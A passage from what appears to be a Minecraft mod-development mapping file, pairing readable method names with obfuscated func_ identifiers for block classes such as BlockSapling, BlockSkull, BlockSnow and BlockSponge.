(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneRepeater/canPowerSide (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockRedstoneRepeater/func_149908_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockRedstoneRepeater/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneRepeater/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneRepeater/getDelay (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneRepeater/func_176403_d (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneRepeater/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockRedstoneRepeater/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockRedstoneRepeater/getPoweredState (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneRepeater/func_180674_e (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneRepeater/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockRedstoneRepeater/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockRedstoneRepeater/getUnpoweredState (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneRepeater/func_180675_k (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSand$EnumType/getMetadata ()I net/minecraft/block/BlockSand$EnumType/func_176688_a ()I +MD: net/minecraft/block/BlockSand$EnumType/byMetadata (I)Lnet/minecraft/block/BlockSand$EnumType; net/minecraft/block/BlockSand$EnumType/func_176686_a (I)Lnet/minecraft/block/BlockSand$EnumType; +MD: net/minecraft/block/BlockSand$EnumType/getMapColor ()Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockSand$EnumType/func_176687_c ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockSand$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockSand$EnumType/func_176685_d ()Ljava/lang/String; +MD: net/minecraft/block/BlockSand$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockSand$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockSand$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockSand$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockSand$EnumType/values ()[Lnet/minecraft/block/BlockSand$EnumType; net/minecraft/block/BlockSand$EnumType/values ()[Lnet/minecraft/block/BlockSand$EnumType; +MD: net/minecraft/block/BlockSand/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSand/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSand/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSand/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSand/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockSand/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockSand/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSand/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSand/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockSand/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockSand/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockSand/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockSandStone$EnumType/getMetadata ()I net/minecraft/block/BlockSandStone$EnumType/func_176675_a ()I +MD: net/minecraft/block/BlockSandStone$EnumType/byMetadata (I)Lnet/minecraft/block/BlockSandStone$EnumType; net/minecraft/block/BlockSandStone$EnumType/func_176673_a (I)Lnet/minecraft/block/BlockSandStone$EnumType; +MD: net/minecraft/block/BlockSandStone$EnumType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockSandStone$EnumType/func_176676_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockSandStone$EnumType/getName ()Ljava/lang/String; net/minecraft/block/BlockSandStone$EnumType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockSandStone$EnumType/toString ()Ljava/lang/String; net/minecraft/block/BlockSandStone$EnumType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockSandStone$EnumType/values ()[Lnet/minecraft/block/BlockSandStone$EnumType; net/minecraft/block/BlockSandStone$EnumType/values ()[Lnet/minecraft/block/BlockSandStone$EnumType; +MD: net/minecraft/block/BlockSandStone/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSandStone/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSandStone/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSandStone/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSandStone/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockSandStone/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockSandStone/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSandStone/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSandStone/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockSandStone/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockSandStone/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockSandStone/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockSapling/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSapling/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSapling/func_181624_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;IILnet/minecraft/block/BlockPlanks$EnumType;)Z net/minecraft/block/BlockSapling/func_181624_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;IILnet/minecraft/block/BlockPlanks$EnumType;)Z +MD: net/minecraft/block/BlockSapling/isTypeAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/BlockPlanks$EnumType;)Z net/minecraft/block/BlockSapling/func_176477_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/BlockPlanks$EnumType;)Z +MD: net/minecraft/block/BlockSapling/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/BlockSapling/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/BlockSapling/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockSapling/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockSapling/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSapling/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSapling/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockSapling/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockSapling/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockSapling/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockSapling/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockSapling/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockSapling/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSapling/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSapling/grow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockSapling/func_176478_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockSapling/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockSapling/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockSapling/generateTree (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockSapling/func_176476_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockSapling/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockSapling/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockSeaLantern/canSilkHarvest ()Z net/minecraft/block/BlockSeaLantern/func_149700_E ()Z +MD: net/minecraft/block/BlockSeaLantern/quantityDroppedWithBonus (ILjava/util/Random;)I net/minecraft/block/BlockSeaLantern/func_149679_a (ILjava/util/Random;)I +MD: net/minecraft/block/BlockSeaLantern/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockSeaLantern/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockSeaLantern/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockSeaLantern/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockSeaLantern/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockSeaLantern/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockSign/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockSign/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockSign/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockSign/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockSign/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockSign/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockSign/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockSign/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockSign/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockSign/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockSign/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockSign/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockSign/isOpaqueCube ()Z net/minecraft/block/BlockSign/func_149662_c ()Z +MD: net/minecraft/block/BlockSign/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockSign/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockSign/isFullCube ()Z net/minecraft/block/BlockSign/func_149686_d ()Z +MD: net/minecraft/block/BlockSign/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockSign/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockSign/canSpawnInBlock ()Z net/minecraft/block/BlockSign/func_181623_g ()Z +MD: net/minecraft/block/BlockSkull$1/apply (Lnet/minecraft/block/state/BlockWorldState;)Z net/minecraft/block/BlockSkull$1/apply (Lnet/minecraft/block/state/BlockWorldState;)Z +MD: net/minecraft/block/BlockSkull$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockSkull$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockSkull/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSkull/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSkull/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockSkull/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockSkull/checkWitherSpawn (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntitySkull;)V net/minecraft/block/BlockSkull/func_180679_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/tileentity/TileEntitySkull;)V +MD: net/minecraft/block/BlockSkull/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockSkull/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockSkull/dropBlockAsItemWithChance (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V net/minecraft/block/BlockSkull/func_180653_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;FI)V +MD: net/minecraft/block/BlockSkull/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockSkull/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockSkull/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSkull/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSkull/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockSkull/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockSkull/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockSkull/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockSkull/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockSkull/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockSkull/canDispenserPlace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/item/ItemStack;)Z net/minecraft/block/BlockSkull/func_176415_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/block/BlockSkull/isOpaqueCube ()Z net/minecraft/block/BlockSkull/func_149662_c ()Z +MD: net/minecraft/block/BlockSkull/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockSkull/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockSkull/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSkull/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSkull/isFullCube ()Z net/minecraft/block/BlockSkull/func_149686_d ()Z +MD: net/minecraft/block/BlockSkull/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockSkull/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockSkull/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockSkull/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockSkull/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockSkull/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockSkull/getWitherBasePattern ()Lnet/minecraft/block/state/pattern/BlockPattern; net/minecraft/block/BlockSkull/func_176414_j ()Lnet/minecraft/block/state/pattern/BlockPattern; +MD: net/minecraft/block/BlockSkull/getWitherPattern ()Lnet/minecraft/block/state/pattern/BlockPattern; net/minecraft/block/BlockSkull/func_176416_l ()Lnet/minecraft/block/state/pattern/BlockPattern; +MD: net/minecraft/block/BlockSlime/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockSlime/func_176199_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockSlime/onFallenUpon (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;F)V net/minecraft/block/BlockSlime/func_180658_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/block/BlockSlime/onLanded (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockSlime/func_176216_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockSlime/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockSlime/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockSnowBlock/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockSnowBlock/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockSnowBlock/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockSnowBlock/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockSnowBlock/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockSnowBlock/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockSnow/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSnow/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSnow/isReplaceable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockSnow/func_176200_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockSnow/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockSnow/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockSnow/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockSnow/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockSnow/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/BlockSnow/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/BlockSnow/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockSnow/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockSnow/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockSnow/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockSnow/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockSnow/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockSnow/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockSnow/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockSnow/getBoundsForLayers (I)V net/minecraft/block/BlockSnow/func_150154_b (I)V +MD: net/minecraft/block/BlockSnow/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockSnow/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockSnow/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockSnow/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockSnow/isOpaqueCube ()Z net/minecraft/block/BlockSnow/func_149662_c ()Z +MD: net/minecraft/block/BlockSnow/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSnow/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSnow/isFullCube ()Z net/minecraft/block/BlockSnow/func_149686_d ()Z +MD: net/minecraft/block/BlockSnow/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockSnow/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockSnow/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockSnow/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockSnow/checkAndDropBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockSnow/func_176314_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockSnow/setBlockBoundsForItemRender ()V net/minecraft/block/BlockSnow/func_149683_g ()V +MD: net/minecraft/block/BlockSoulSand/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockSoulSand/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockSoulSand/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockSoulSand/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockSponge/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockSponge/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockSponge/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockSponge/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockSponge/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSponge/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSponge/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockSponge/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockSponge/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockSponge/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockSponge/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockSponge/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockSponge/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockSponge/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockSponge/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockSponge/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockSponge/absorb (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockSponge/func_176312_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockSponge/tryAbsorb 